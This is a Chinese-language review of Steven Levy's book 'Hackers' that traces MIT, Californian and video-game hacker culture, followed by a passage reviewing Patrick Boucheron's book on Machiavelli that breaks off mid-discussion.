你很有可能读过利维的书，这本书常年位于亚马逊计算机历史畅销书榜首附近，并在2020年获得了超过130次新的引用。即使你没有读过，也可能已经遇到过他将 “黑客伦理” 提炼为六个要点的清单。利维宣称这是 “他们给我们的礼物”，“甚至对我们这些对计算机完全没有兴趣的人也有价值”。

六个要点：

- 接触计算机 —— 以及任何可能教你了解世界运作方式的东西 —— 应该是无限制的和完全的。始终屈服于 “实践的要求”！
- 所有的信息都应该是免费的。
- 不信任任何权威—— 促进去中心化。
- 评判黑客的标准应该是他们的黑客行动，而不是学位、年龄、种族、性别或职位等标准。
- 你可以在电脑上创造艺术和美丽。
- 计算机可以改变你的生活，使之更好。

就像人类学家访问一个偏远的部落一样，利维拥有认识和记录一个陌生文化的核心假设所需的外部视角。在某种意义上，这些要点是永恒的。如果你正在阅读这篇文章，你肯定会在自己身上或在你工作或学习过的人身上认识到其中一些信念。然而，阅读清单并不能替代在其原始背景下理解这些信念。https://www.patreon.com/posts/zui-li-hai-de-ke-51119643

1960年代的麻省理工学院黑客们

「图」

这本书的第一部分，解释了麻省理工学院黑客精神的起源，是迄今为止最有影响力的部分。黑客这个词在麻省理工学院的文化中根深蒂固。像其他学生一样，麻省理工学院的学生们也喜欢恶作剧。对于有天赋的和高度竞争性的技术工程师来说，恶作剧是一个机会，可以通过令人惊叹虽然毫无意义的工程创意壮举来炫耀。麻省理工学院最典型的黑客行为发生在1984年，当时一辆看似校园警车的东西出现在大圆顶上。

那些表现出高超技能但没有明显功利性的计算机程序也可能是“黑客”。从1958年起，计算机黑客社区围绕麻省理工学院的TX-0计算机形成，并在1962年第一批微型计算机之一—— 数字设备公司的PDP-1安装时扩大。麻省理工学院当时在计算领域处于世界领先地位，这要归功于围绕“旋风计划”（一台早期的数字计算机，成为SAGE防空网络的原型）、分时系统的开创性工作（成为MAC计划）以及由约翰·麦卡锡和马文·明斯基创建的人工智能实验室而建立的专业知识集群。

【注：TX-0 是早期的完全晶体管计算机，包含当时巨大的64K的18位字磁芯存储器。TX-0的建造始于1955年，并于1956年结束。直到1960年代，它一直在MIT中使用。PDP-1，迪吉多公司PDP系列所推出的第一个机型，于1960年上市。它是形成黑客文化的重要推手，在麻省理工学院与BBN Technologies 都可以看到它的身影。】https://www.patreon.com/posts/kan-dian-ying-ke-51513552

黑客们的共同乐趣是操纵正式的、基于规则的系统的运作，以产生意想不到的结果。利维描述说，他们在麻省理工学院铁路模型技术俱乐部 (Tech Model Railroad Club) 的会议上黑掉了《罗伯特议事规则》，黑掉了英语，以产生像 winnitude 这样在逻辑上应该存在的词；甚至黑掉了印在他们最喜欢的餐馆菜单上的中文符号，以创造出无法食用的“酸甜苦辣瓜”。

计算机编程为符号的高超操作提供了无与伦比的机会。利维通过展示黑客们从十进制打印程序中剃除指令来证明这一点。在几个星期的竞争性编程的公共狂热中，最终在告示板上胜利地张贴了一个最佳程序。这并不罕见：在20世纪50年代，让计算机做任何事都需要高效的编程。在接受采访时，计算机先驱们经常回忆起被挤在一张打孔卡上的加载器程序、节省了几条指令的子程序调用机制、或在磁鼓上自动

分配指令以便及时被读取执行的汇编器所带来的快乐。许多著名的计算机科学家都是从系统程序员开始的，这个群体以其非传统的外观而闻名。早在1958年，在黑客或嬉皮士被记录在案之前，《商业周刊》的一篇文章就抱怨说："计算机一直在错误的人手中。1966年，当"数据处理管理协会"(DPMA)，一个行政计算中心的主管团体，开始考虑与ACM的关系时，他们的一位领导人重复了一个谣言，说ACM成员"是运动衫和运动鞋团体的一部分"。

麻省理工学院的特别之处不在于它有一台电脑，也不在于不修边幅的程序员在设计令人印象深刻的技巧。而是麻省理工学院有足够多的计算机，可以把几台多余的机器留在外面供社区成员玩耍。大多数计算机都掌握在专业操作员手中，用一个奇怪的反天主教的比喻，利维将其视为"神职人员"—— 站在信徒和救赎工具之间。学生们会提交程序并得到结果，但从未接触过计算机或与之直接互动。即使是那些把计算机当作实验室设备的大学，让研究人员在机器上注册一两个小时，也需要记录目的。

利维仔细地将他的黑客概念与"官方认可的用户"区分开，对后者来说，计算是解决研究问题和发表论文的一种手段，而不是目的本身。对于黑客来说，他们中的大多数人都是从本科生开始的，计算机编程不是对正式学习的帮助，而是一种替代。利维笔下的许多人物都从大学辍学，花更多的时间来玩弄机器。一个黑客实现了第一个LISP解释器，其他的黑客去了加州，在伯克利开发操作系统，明斯基雇佣了几个人为他的实验室制作软件。然而，利维把他们在分时系统和人工智能方面的正式工作放在了台下，而把重点放在他们夜间的追求上。他们是一个丰富的阵容，利维把他们作为有自己特点的古怪的人而不是作为普通极客来表现方面，做得非常好。

由于不需要证明他们的程序有任何有用的用途，黑客们开创了计算机技术的项目，一旦硬件成本下降，这些项目就会变得很普遍。PDP-1配备了一个基于矢量的图形显示器，这对那个时代来说是一个不寻常的能力。他们的一个程序是"昂贵的打字机"，它使用屏幕来编辑程序代码。占用整台计算机进行编程没有什么经济意义，这就是为什么通常的做法是用铅笔写出代码，然后打到卡片或纸带上。另一种是"昂贵的计算器"，它在一个比它贵几百倍的设备上复制了机械式桌面计算器的互动功能。

利维用一整章的篇幅介绍了黑客集体所进行的最辉煌的资源滥用：视频游戏《太空战》，黑客们从旧的科幻小说书中得到启发，对任务进行编程，模拟和可视化火箭船在太空中的运动，添加光子鱼雷、复杂的星域背景和恒星的引力，创造了一个令人上瘾的战斗游戏。这并不

是第一个游戏，但却是第一个重要的电子游戏。DEC开始将代码作为其计算机的诊断程序分发，并将其传播到许多其他网站。1972年，Whole Earth Catalog 的创始人斯图尔特·布兰德（Stewart Brand）在《滚石》杂志的一篇文章中介绍了《太空战》，为它带来了更大的名气。事实证明，这款游戏对于酒吧里的醉酒者来说过于复杂了，但诺兰和达布尼以他们的下一个版本启动了视频街机行业：《乒》（Pong）。

庆祝黑客文化

「图」

最初的黑客既没有破坏性，也不像后来盗用这个词的网上破坏者和罪犯那样致力于偷窃专有数据，但他们实际上是反社会的。利维描述他们如何不尊重任何可能限制他们使用技术或阻止他们重新配置系统的规则或惯例。他们被视为绕过上锁的门，对电梯进行重新编程，并占有工具。

大多数技术作家可以被归类为批评家或拉拉队。对拉拉队来说，新技术开启了乌托邦式的可能性，释放了人类的潜力。对批评者来说，每一项新技术都是对意外后果的研究，或者是加强不公正和压迫的方式。利维并非不加批判，但他明确地对捕捉他的主人公如何看待世界更感兴趣，而不是对他们进行训斥。该书的副标题是“计算机革命的英雄”，并不承认有太多的细微差别。

并非所有黑客文化的观察者都能如此接受。利维拒绝了麻省理工学院教授 Joseph Weizenbaum 对该学院的“计算机流浪汉”（一个从Brand借来的术语）的描述，这让人想起维多利亚时代小说中的肮脏的鸦片馆，“可以看到邋遢的年轻人，往往有一双凹陷的发光的眼睛，坐在电脑控制台前，他们的手臂绷紧，等待着用已经准备好的手指向按钮和按键开火，似乎就像赌徒对滚动的骰子一样专注 ….。他们的食物，如果他们安排的话，会被送到他们面前，永远是：咖啡、可乐、三明治。如果可能的话，他们就睡在电脑附近的小床上 …. 他们皱巴巴的衣服，没有清洗和胡子拉碴的脸，以及没有梳理的头发，都证明他们对自己的身体和他们所处的世界漠不关心”。

麻省理工学院教授雪莉·特克尔（Sherry Turkle）在她的民族志研究报告《第二自我：计算机与人类精神》中对麻省理工学院的黑客文化做了同样尖锐的描述，这是对早期计算机使用的另一项经典研究。 作为一个加入麻省理工学院的人文主义者，她“沉浸在一个对我来说完全陌生的世界里”。特克尔的书中大部分内容都在探索计算机为教育和

个人发展带来的认知可能性。然而，她主要将黑客作为人类发展出现问题时的警示性说明。

黑客的生活在大多数情况下是独身的，但它仍然是高度性别化的。利维写道："计算机操作比卷入一段浪漫的关系要重要得多。这是一个优先事项的问题。黑客工作已经取代了他们生活中的性"。女性几乎是不可见的，因为黑客"形成了一种纯粹的男性文化"。"可悲的事实是"，利维指出，"从来没有一个明星级的女黑客。的确有一些女程序员，她们中的一些人很优秀，但是，似乎没有女性把黑客作为一种神圣的召唤……"。 利维在其他问题上的沉默表明，他描述的黑客都是白人，他们没有与女性发生的性行为，这是那个时代的默认假设。

黑客们创造了一个新的男性空间，就像天主教神职或美国海军陆战队一样具有文化上的特色。特克尔对黑客们的这些选择作出了比利维更严厉的判断。她认为，即使在麻省理工学院的不正常文化中，计算机科学学生也是"被排斥者中的被排斥者 …… 典型的书呆子、孤独者和失败者"。她在"黑客：爱上机器本身"一章中，首先描述了麻省理工学院的"反选美"活动，即每年评选"校园里最丑的人"的比赛。她认为，这是一种自我厌恶的社会疾病的证据，"接受并防御性地宣称需要切断科学和感官之间的联系"。根据特克尔的说法，黑客们在心理发展的正常过程中"被卡住了"，在这个过程中，成年人对黑客们所说的人类关系、工作和个人责任的"现实世界"进行调适。这意味着接受不确定的结果和情感风险，放弃青春期对"完美掌握"受控事物世界的需求。黑客们拒绝这样做，而是创造一种"高度仪式化"的文化来支持这种选择并使之正常化。她对他们拒绝艺术和文化的感性元素感到震惊，特别是他们倾向于将音乐仅仅作为算法表达，而不是人类情感和乐器调谐的重要活动。

利维确实承认黑客社会的一些负面因素。黑客们纯粹根据编程技能和对黑客工作的承诺来判断对方，而不是根据更传统的社会标志。他们是精英主义者，根据道德准则对"赢家和输家"做出严厉的判断，这种道德准则将编码能力和对编程的承诺置于所有其他美德之上。

利维最接近于直接批评的是指出黑客生活中最明显的矛盾：它与军工企业的关系。黑客价值观谴责商业主义和等级制度，赞成个人之间自由交换代码和想法。然而，TX-0是由政府出资购买的。在完成其军事目的后，它可以被转用于学生用途。而且，正如利维所指出的，人工智能实验室的所有活动，"甚至是黑客伦理的最疯狂或无政府主义的表现，实际上都是由国防部资助的"。20世纪60年代末，利维描写的黑客们在技术广场上的实验室里享受着"黑客的黄金时代"，看到外面有抗议者反对计算机在越南战争中的作用，他们感到很神秘。正如利

维所说："一种非常坚定的唯我论在9楼统治着一切"，因为黑客们否认冷战的地缘政治与他们的军事赞助的无政府主义乌托邦之间有任何联系，现在他们受到了钢栅栏和电子锁的保护。(唯我论是一种态度，即 认为自己头脑之外的东西显然都不是真实的)。

20世纪70年代的加州黑客们

「图」

在这本书的第二部分，利维来到加利福尼亚，在那里，政府和军事合同培育了半导体和电子设备的生产，人们第一次开始称之为硅谷。至少在他看来，黑客文化是通过斯坦福大学的人工智能实验室与麻省理工学院的紧密联系（包括新建成的ARPANET）而来的。在加利福尼亚，黑客文化与当地的反文化运动以及先前存在的电子爱好者和专业人士的社区融合在一起。

如果您错过了《互联网究竟是什么？—— 来自"监视谷"惊人的启示》

黑客们并没有像《新机器的灵魂》那样被精心设计。克里斯托弗·莱曼·霍普特在为《纽约时报》评论这本书时指出，它开始 "在中途跛行—— 在不知何故越来越不激动的细节中陷入困境"。我们大多数人都是通过利维的报道才知道麻省理工学院的黑客，而1984年的另外两部作品则对个人电脑行业的创立进行了充分的报道。随后的几十部复述都遵循了同样的基本轮廓，其中最著名的是罗伯特·X·克林格利（Robert X. Cringely）的《偶然的帝国》、沃尔特·艾萨克森（Walter Isaacson）的《乔布斯传》，以及几部电影和电视节目。

利维的独特之处在于他对故事中反文化因素的关注，这一点在他本节的中心人物身上得到了体现：李·费尔森斯坦，一个有天赋的电子工程师和伯克利反文化的忠实成员。弗雷德·特纳（Fred Turner）的经典著作《从反文化到网络文化》（From Counterculture to Cyberculture），以斯图尔特·布兰德（Stuart Brand）为中心，展示了冷战早期发展的控制论思想与1960年代末加州反文化的元素之间的深刻联系。他们的互动在塑造未来的政治、文化以及在线交流的应用方面做得更多，而不是刺激核心计算技术的发展。 相比之下，费尔森斯坦在反文化的经典伯克利反战变体与1970年代中期新兴的个人电脑产业之间提供了罕见的直接联系。他加入了一个拥有一台过时的微型计算机但缺乏技能和职业道德的集体，创建了 "社区记忆项目"，一个通过公共终端访问的短暂的在线社区。

如果您错过了《不，互联网并没有杀死反文化—您只是在寡头服务上

找不到它》

费森斯坦对时间共享的承诺很快就被这样的认识所削弱：他计划用于廉价视频终端的微处理器和内存芯片也可以为独立的计算机提供动力。利维生动地描述了自制计算机俱乐部，这是一个在斯坦福大学校园内组建的非正式团体，向湾区的电子爱好者社区介绍个人计算技术。它激发了费尔森斯坦创造 Sol 20 个人电脑的灵感，这种优雅的设计经过优化，即使在文明崩溃后也易于维修。由于费尔森斯坦的商业伙伴在商业方面没有什么诀窍，Sol 很快就黯然失色了，尽管几年后他作为预算价格、手提箱大小的 Osborne 1 便携式计算机的设计师再次出现。

利维对“黑客伦理”的浪漫依恋，在某种程度上类似于 Tracy Kidder 对那些努力寻找意义而不是赚钱的工程师的赞美，在这里产生了未解决的矛盾。个人电脑不是免费赠送的，此后的微型计算机也不是。最初的黑客们依靠的是别人的钱。消费级计算机的发明拓宽了黑客的渠道，并将其从军事赞助中解放出来。到20世纪80年代初，休闲编程成为了数百万美国人（大多是中产阶级）的可行爱好，不再是以麻省理工学院和斯坦福大学等地为中心的小社区的专利。

不可否认，费尔森斯坦是一个迷人的人物。然而，利维坚持认为个人计算机是反商业的、源于大学的黑客伦理的表达，这使得他很难处理苹果以及经常被忽视的 Radio Shack 和 Commodore 在1970年代末向个人买家出售数十万台电脑的成功。苹果公司的创始工程师史蒂夫·沃兹尼亚克（Steve Wozniak）得到了一幅精美的肖像画，帮助他在公众的想象中成为硬件黑客的化身，他对用他的电路的优雅给其他黑客留下深刻印象比对赚钱更感兴趣。尽管沃兹尼亚克的个人美德，利维依然暗示，苹果公司很快就背叛了黑客伦理。正如 **Lehmann-Haupt** 酸溜溜地指出的那样，“很难说 [利维] 是在庆祝廉价家用电脑的到来，还是在哀叹其惊人的盈利能力”。

20世纪80年代初的视频游戏黑客们

「图」

利维的书的第三部分是最狭窄的：一个年轻的电子游戏程序员约翰·哈里斯和他的个人电脑软件出版商之间的关系肖像。哈里斯最大的成就是对街机游戏《蛙人》（Frogger）的熟练转换，但却没有改变历史的进程。相反，他作为一个普通程序员，代表了自学成才的软件开发者的新商业机会。

腼腆而不谙世事的哈里斯是80年代初一代青少年计算机程序员的一员。家用电脑被推销为编程机器，当它们被插入并连接到电视机上时，会显示一个BASIC命令提示。最专注的程序员毕业于汇编语言，就像最初的麻省理工学院黑客。在消费级硬件上复制投币式街机游戏的流畅动画，需要完美的代码来操纵每台机器的独特怪癖。最好的程序员，如哈里斯，倾向于单独工作，并将自己限制在一台机器的硬件上，在他的例子中，他必须弄清楚 Atari 800 的声音和图形芯片的未被记录的功能。哈里斯从未完全转向后来的平台或更现代的开发方法，而是继续为早已过时的 Atari 电脑编码。

他们的游戏是通过借用摇滚乐和图书出版的商业模式发行的——“软件公司”包装、推广和发行这些程序，并向作者支付版税。利维将保时捷公司的大学辍学生肯·威廉姆斯（Ken Williams）、快速发展的出版商 Sierra Online 的联合创始人和经理，作为反派人物。威廉姆斯通过哈里斯和其他年轻程序员的努力赚取了数百万美元。但他不喜欢支付30%的专利税，也讨厌依赖不可预知的黑客。因此，威廉姆斯与风险资本家勾结，雇佣了一位职业经理人来维持秩序，并转向青睐从大型企业项目中获得的软件工程方法。他的行业接受了不像黑客的行为，如所谓的知识产权诉讼和反复制保护。

这一部分就像是一篇长篇的杂志文章，有点武断地与利维的历史研究装订在同一卷中。Lehmann-Haupt 抱怨说，这本书的每一节“似乎都比前面的一节更琐碎”。他建议，“如果整个计算机革命的重点是试图让一只青蛙穿过道路和小溪而不被卡车碾压或被鳄鱼吃掉，那么黑客伦理的死亡不仅不足为奇，它甚至并不可悲。”

这并不完全公平，但 Frogger 确实为主要故事做了一个奇怪的结局。利维拒绝对黑客的失败进行评判，但他毫不犹豫地谴责他们出卖了自己的价值观。他曾经是《滚石》杂志的作家，这种态度反映了这家老派音乐媒体的文化，在这种文化中，受人喜爱的艺术家被期望在销售数百万张专辑的同时蔑视商业主义。摇滚记者们讥笑唱片公司和他们西装革履的高管们对赚钱的不体面的兴趣，并诋毁他们对艺术自由的限制。

“真正黑客”

「图」

利维以关于理查德·斯塔尔曼（Richard Stallman）的后记结束，他最近发起了一项显然是异想天开的努力，以实现对黑客友好的UNIX操作系统的免费版本。斯塔尔曼在20世纪70年代曾在麻省理工学院的人

工智能实验室工作，但当其他黑客离开后，他变得很孤独，去建造和销售专门的LISP工作站。

如果您错过了《这个*20*亿美元的监视实验室，隐藏了*60*多年不为人知》

这一章的标题是 “The Last of the True Hackers”，这让人了解到利维认为斯托尔曼获得成功的可能性有多大（甚至是招募到一个继任者）。然而，在十年之内，由斯托尔曼的GNU项目和 Linus Torvald 复制Unix内核的工作所产生的软件已经开始挑战商业版本的Unix。GNU项目开创了一种新的软件许可模式，保护用户为自己的需要改编和重新发布软件的权利，复制了原始黑客文化的关键方面。到了21世纪初，自由软件在网络浏览器和服务器、数据库管理系统和编程平台等关键领域，已经让商业对手黯然失色。主导的操作系统，如谷歌的安卓平台是建立在自由软件之上的。一个更广泛的开放文化运动，同样受到黑客伦理的启发，产生了诸如维基百科这样的重要资源。

利维决定以斯塔尔曼作为这本书的结尾，在麻省理工学院的黑客社区和今天的自由和开源软件世界之间直接划清界限，这比他过早地提出的 “商业主义已经扼杀了黑客的梦想” 要好得多。在《黑客》25周年纪念版中，他承认，“斯托尔曼担心他将成为像 Ishi 那样的人，这一点没有实现”。 相反，他指出，黑客伦理中的一些想法 “现在看来是如此明显，以至于新的读者可能会怀疑我为什么要费心把它们写下来”。

【注：Ishi, the Last Yahi 是一部纪录片，故事开始于1492年，当时北美有1000多万美洲原住民。到1910年，他们的人数已经减少到不足30万。在加利福尼亚，19世纪60年代和70年代对印第安人的屠杀几乎灭绝了该州的原住民。因此，1911年，“北美最后的野生印第安人” Ishi 突然出现在加利福尼亚北部，这让全国震惊了。40多年来，IshiIshi 一直与一小群幸存者躲在一起生活。当他走进白人的世界时，他是最后一个活着的亚希族印第安人。】

利维不仅仅抓住了黑客文化；他把它传播给了许多永远不会踏入麻省理工学院、斯坦福大学或自制计算机俱乐部的人。自从利维写了这本书之后，由于自由软件运动和相关的开放文化项目（如维基百科）的成功，黑客文化已经变得更加明显。这些激发了加布里埃拉·科尔曼和克里斯托弗·凯尔蒂等学者的人类学和社会学研究。另一些人则对黑客作为现代世界的核心活动提出了广泛的主张。例如，**McKenzie Wark** 发表了《黑客宣言》，提出了黑客阶层的出现，并呼吁黑客们起来反对资本主义 **“vectoralists”** 的压迫。

黑客文化的主流化可能已经改变了计算机科学本身的特征。从20世纪60年代计算机科学领域开始，女性学生的比例稳步上升，直到1985年，即使女性在其他科学和工程学科的参与度持续上升，该比例也开始急剧下降。计算机科学家们开始抱怨说，新生的思想现在已经被暴露在无纪律的编程方法中所污染。正如 Edsger Dijkstra 所说的那样，“实际上不可能向那些曾经接触过BASIC的学生教授好的编程方法：作为潜在的程序员，他们在精神上已经被破坏，没有再生的希望”。 相关性不是因果关系，但卧室黑客形象创造了一种计算机与一种新的、独特形式的男性气质的极化联系，这似乎是合理的。而且，正如利维自己所承认的，经典的黑客文化既没有吸引也没有容纳年轻女性。

黑客混合体

「图」

尽管自由软件和开源软件运动正在蓬勃发展，但我认为，利维正确地指出，黑客文化的影响现在支撑着一个 “商业和黑客从未被视为对立价值的世界”。在2010年的后记中，他与黑客克星比尔·盖茨亲切交谈，并提到一位谷歌高管认为这本书启发了他的整个职业生涯。早在20世纪80年代，特克尔就抱怨麻省理工学院的黑客们拒绝长大拒绝加入 “现实世界” 。正如利维在2011年出版的《In the Plex》一书中所展示的那样，科技巨头们创造了充满便利的 “Never Lands”，在那里，黑客文化的统治不受挑战，没有人需要长大。

利维在书名中坚持认为黑客是真正的 “计算机革命的英雄”，30年后，沃尔特·艾萨克森 (Walter Isaacson) 将其历史大片命名为《创新者》，这是关于一群黑客、天才和怪才如何创造了数字革命的作品。利维描述了一种边缘的、通常被忽视的计算机亚文化，而艾萨克森的标题则暗示，创造了个人电脑、互联网和现代科技产业的创新者，其中许多人非常富有、著名和强大，以某种方式组成了一个黑客群体。

利维的作品被频繁地引用和参考—— 不仅仅是《黑客》，还有他关于Macintosh项目、iPod、VisiCalc、谷歌和Facebook的文章。利维的最大优势是他对人的关注。一次又一次，他对最重要的科技公司进行了最密切的观察。利维对计算机公司的影响就像资深政治记者鲍勃·伍德沃德对政府的影响一样。和伍德沃德一样，他之所以能获得这种内幕消息，是因为他的消息来源有一个合理的预期，即 他们会被同情地描绘出来。

利维的写作表明他被聪明、古怪和有创造力的人所吸引。他想看到他

们身上最好的东西。在《黑客》这本书中，这一点做得非常好，因为他同情的目光转向了那些可能被偶然的观察者严厉评判的不起眼的人物。他描述了他的主人公们闪烁的世界观，他们如何对法规和机构缺乏尊重，以及他们坚信没有什么应该阻挡他们和新技术所带来的可能性。当黑客们看到他们认为效率低下或不合逻辑的东西时，他们就会去重新设计它，而不寻求许可或调查其他观点。这与Facebook的座右铭 “快速行动，打破常规” 相差无几，也与扎克伯格的告诫相差无几，利维在他最近出版的《Facebook：内部故事》的序言中引用了这一告诫：“把每个问题都看成是一个系统。每个系统都可以变得更好”。

黑客文化与科技巨头主导地位的融合让人感到担忧，因为在痴迷的系统程序员身上，这种心态可能看起来无害，或者最坏的情况是狭隘的自我毁灭，但是，在管理世界上最强大的公司的高管身上，肯定更令人担忧。考虑一下彼得·蒂尔、埃隆·马斯克或马克·扎克伯格不受约束的个人权力，以规避政府监管、操纵法律制度、或缩短民主进程的恶行。事实上，在写关于Facebook的文章时，由于公众舆论的变化和他自己的良心的激荡，利维被迫以比十年前的谷歌更严厉的态度对待这家公司及其领导人。1968年席卷麻省理工学院科技广场9楼的 “坚定的唯我主义” 现在像一片浓云一样笼罩着硅谷的大部分地区。也许我们需要一些不同的英雄。〇

进一步阅读

「图」

1、利维的作品几乎都值得一读。如果你喜欢《黑客》是因为它展示了古怪的人在学术环境中做着顽固的创造性的事，那么你更有可能喜欢他的后续作品 Artificial Life: The Quest for a New Creation (Pantheon, 1992) 和 Crypto: How the Code Rebels Beat the Government, Saving Privacy in the Digital Age (Viking, 2001)，而不是他后来关于苹果、Facebook和谷歌的书。

2、如果你对另一种意义上的黑客，即 网上破坏者或数据窃贼是如何占主导地位的感兴趣，那么有几本20世纪80年代的关键书籍，可以有所帮助。这些书包括 Bill Landreth 和 Howard Rheingold 的《Out of the Inner Circle》（1985年）和《The Cuckoo’s Egg: Tracking a Spy Through the Maze of Computer Espionage》以及 Clifford Stoll 的《The Cuckoo’s Egg: Tracking a Spy Through the Maze of Computer Espionage》（1989年）。

3、法学教授和活动家劳伦斯·莱西格在将自由软件运动扩大到更广泛的自由文化运动中发挥了关键作用。他的经典贡献《Code: and Other Laws of Cyberspace》（1999）如今仍然具有可读性和号召性。

4、利维强调了早期黑客文化的游戏性，类似的感觉推动了1979年最受欢迎的《Gödel, Escher, Bach: An Eternal Golden Braid》，作者是物理学家转为认知科学家的 Douglas Hofstadter。尽管 Hofstadter 否认他自己对计算机有任何个人兴趣，但他的书展示了黑客对文字游戏、递归、巴洛克音乐、数学代码和符号操作的喜爱。

📌 在这里下载《黑客》这本书：https://www.patreon.com/posts/dang-hei-ke-wei-54961874

原文

我们的马基雅维利时刻 - iyouport

免费书和纪录片

【2021年5月21日存档】您可能误解了的马基雅维利：先去掉那个 “主义” 的后缀

【按】请以当下政治局势的眼光阅读这篇文章，和这本书，您将有更豁然的感悟 ……

您可以在这里下载这本书《教人恐惧的艺术》。

即使2020年让人们觉得是世界末日，但仍有理由认为我们还没有跌到谷底。

气候灾难和资源战争的威胁、树立围墙和难民营，强大寡头的暴富以及严重恶化的贫困和不平等 —— 这些都不会随着疫苗或新总统的出现而消失。在这一切之中，难怪尼科洛·马基雅维利又回到了人们的阅读清单里。

历史学家 Patrick Boucheron 在他的著作《教人恐惧的艺术》（原书于2017年以法文出版）中提醒人们，在动荡的时代，人们总是对马基雅维利感兴趣，“因为他是在大风大浪中做哲学的人。如果我们今天读到他，就意味着我们应该担心。他回来了：醒醒吧。”

马基雅维利1469年生于佛罗伦萨，是西方政治哲学典籍中的核心人物。虽然在大众的想象中，他最著名的是《王子》（写于1513年）背后的阴谋家，许多人认为这是一种 “纸牌屋” 式的夺取和维持政治权力的指南，但是，当您把他的政治思想简化为 “目的证明手段是正确的” 这一简单论点时，您就错过了真正关键的东西。

在马基雅维利的哲学中，值得注意的并不是这种被误解的结果主义，真正使他的文章如此彻底地与众不同的是他基于阶级的、唯物主义的观点。

他出身于一个贫困的家庭，他的哲学打乱了自然化的等级制度以及再

现这些制度的霸权主义思想。约翰-亚当斯会正确地将他描述为“平民哲学”的创始人，为拥护民众对政府的控制提出了强有力的论据。

尽管马基亚维利家族似乎有一个显赫的过去，而且尼科洛的父亲贝尔纳多接受过律师培训，但继承的债务有效地将这个家族排除在财富、特权和政治权力之外。他们住在 Via Romana 的一座破旧的邸宅里，主要依靠位于佛罗伦萨郊区的农场的收益。

这种相对的物质匮乏给年轻的尼科洛留下了深刻的印象，他将自己的政治哲学立足于平民的观点 —— 为那些希望摆脱寡头统治的人们的生活诉求发声。

- 不要错过《垄断与民主：如何结束镀金时代》

在给《王子》的献词信中，马基雅维利把自己描述为民众的一部分，“一个地位低下而卑微的人”，鉴于他“低微的平原”地位，他能清楚地辨别出那些“深处高处的山顶”之人的本质。

尽管马基雅维利的成长环境很差，但他接受了良好的教育，除了继承父亲的债务外，还继承了他珍贵的图书馆。

在一个由美第奇家族控制的寡头共和国中长大（美第奇家族是欧洲最大的银行的金融家），他发现像他这样的人，由于缺乏与大人物的关系，在公职上的职业生涯已经被排除了。但当美第奇家族在1494年与法国查理八世的战争中失败后被赶下台时，新的可能性出现了。

1498年，马基雅维利被任命为佛罗伦萨第二宰相的秘书，负责共和国的军事力量。在为共和国服务的十四年中，他兼写外交报告和一些诗歌，以外交使节的身份出访，并建立了一支民军，以取代昂贵而危险的防御体系 —— 该体系依靠金融寡头的贷款支付雇佣兵。

但他的政治轨迹在1512年美第奇家族重新掌权时被切断。马基雅维利被赶下台，以阴谋罪受审，受尽折磨，被关进监狱，然后被贬到乡下的私人生活，这使他有时间从动荡时代形成的政治实践的角度，写出了他最著名和最有影响的作品 —— 不仅有《王子》，还有《论李维》（写于1517年）和《战争的艺术》（写于1519–20年）。

作为他对自我意识和社会参与的历史观的一部分，Boucheron 提供了一个作为“侦察兵”的马基雅维利：一个能够从未知和危险的领域进行思考的人，因此，他需要被“不是在现在而是在未来时态下”阅读。

Boucheron 的前瞻性分析立足于过去 —— 他对中世纪米兰的政治权力与城市变迁关系的研究，旨在拓宽历史解释的局限。在他的上一本著作《列奥纳多与马基雅维》（2008年）中，Boucheron 将历史学和文学结合起来，根据他们可能相遇的稀少和零碎的痕迹，想象了列奥纳多·达·芬奇和马基雅维利之间的会面。在新书中，他还采取了一种混合的形式，通过融合诗歌和政治，试图在风格上与马基雅维利的“思维艺术”相协调。其结果是一系列关于马基雅维利生活和工作的亲密快照。它们不仅准确无误（尽管没有引用出处），而且耐人寻味，引人思考。

三十章中的每一章都只有三页，并配以令人回味无穷的图像—— 从马基雅维利、洛伦佐·德·美第奇和修士吉罗拉莫·萨佛纳罗拉的肖像，到马基雅维利在《王子》中的献词原件的复印件，以及马基雅维利在圣克罗齐大教堂的坟墓图片。

2019年6月为美国读者撰写的《教人恐惧的艺术》英文版的导言中，以政治中的恐惧为主题，以特朗普为封面的《时代》杂志开头。Boucheron 认为，美国在“9–11”恐怖袭击后进入了一个“马基雅维利时刻”，如今在“特朗普式美国”下，政治与虚构的融合让统治的技巧得以完善，设置了“对事情的实际真相的普遍无视”。

参考乔治·奥威尔的《1984》，Boucheron 认为这个国家被一台宣传机器所俘虏了，这台机器破坏了现实和常识 —— “马基雅维利所说的第六感，即：人民对支配他们的东西的附属认识”。鉴于当今美国政治普遍缺乏现实主义，很显然，在马基雅维利看来，共和制会是一个腐败的秩序，不是因为少数权贵破坏了规则，也不是因为某个政治派别企图破坏选举的完整性，而是，因为人民“要么被欺骗，要么被迫下令自取灭亡”。

📌 也许马基雅维利的智慧对我们这个时代来说最重要的部分是，共和制往往会变成寡头制，让少数权贵间接控制政府。

在《教人恐惧的艺术》的前五章中，Boucheron 融合了传记细节和对马基雅维利作品的不同解释。为了说明广泛的解释和对马基雅维利的教诲的普遍敌意，他引用了 Émile Littré 在十九世纪的倾向性描述（将马基雅维利描述为一个理论化“意大利小暴君所使用的暴力和暴政的做法”的作者），并将其描述为一个指称“任何缺乏原则的政客”的人物。

Boucheron 还消除了一个常见的错误归因：即 认为是耶稣会士乔万尼·博泰罗而不是马基雅维利发明了“国家理性”的概念 —— 指的是国家

除了自我保护之外没有其他法律。

本节最后用一章关键性的篇幅介绍了马基雅维利唯物主义思想的来源。卢克莱修的六本诗集《论自然》（De rerum natura），或《论事物的本质》，通过讨论一个“没有创造者的世界，自然界不断地自我改造”，来破坏新柏拉图主义。就像卢克莱修的危险诗“转向”和“使世界脱轨并使其摆脱铰链”一样，马基雅维利的书是革命的盟友。

【注：新柏拉图主义，是公元3世纪由亚历山大城的普罗提诺发展出的哲学派别，该流派主要基于柏拉图的学说，再加上斯多葛学派、亚里士多德的思想融合为一个体系。但在许多地方进行了新的诠释。在《新约圣经》时代的哲学本身包含一种宗教态度，这就是基督教涉及哲学的缘故。】

第二部分讨论了马基雅维利与佛罗伦萨政治现实的遭遇以及他作为外交官的角色。Boucheron 认为，正是由于萨佛纳罗拉的政权对虚荣和过激行为的失败，促使马基雅维利参与了领导力、使用武力和紧急状态等主题，“在[萨佛纳罗拉]离开的地方开始他的政治计划”。

在从事外交工作期间，马基雅维利“可以观察、讨论和比较”不同国家的权力内部运作，学习“决策所需的速度、出乎周围世界意料的艺术，以及统治者在进行政治时所需的无情”。因为他“总是对他所遇到的政客感到失望”，所以他摆脱了那些“被强势人物所迷惑”而交出智慧的人所不可避免的智力钝化。

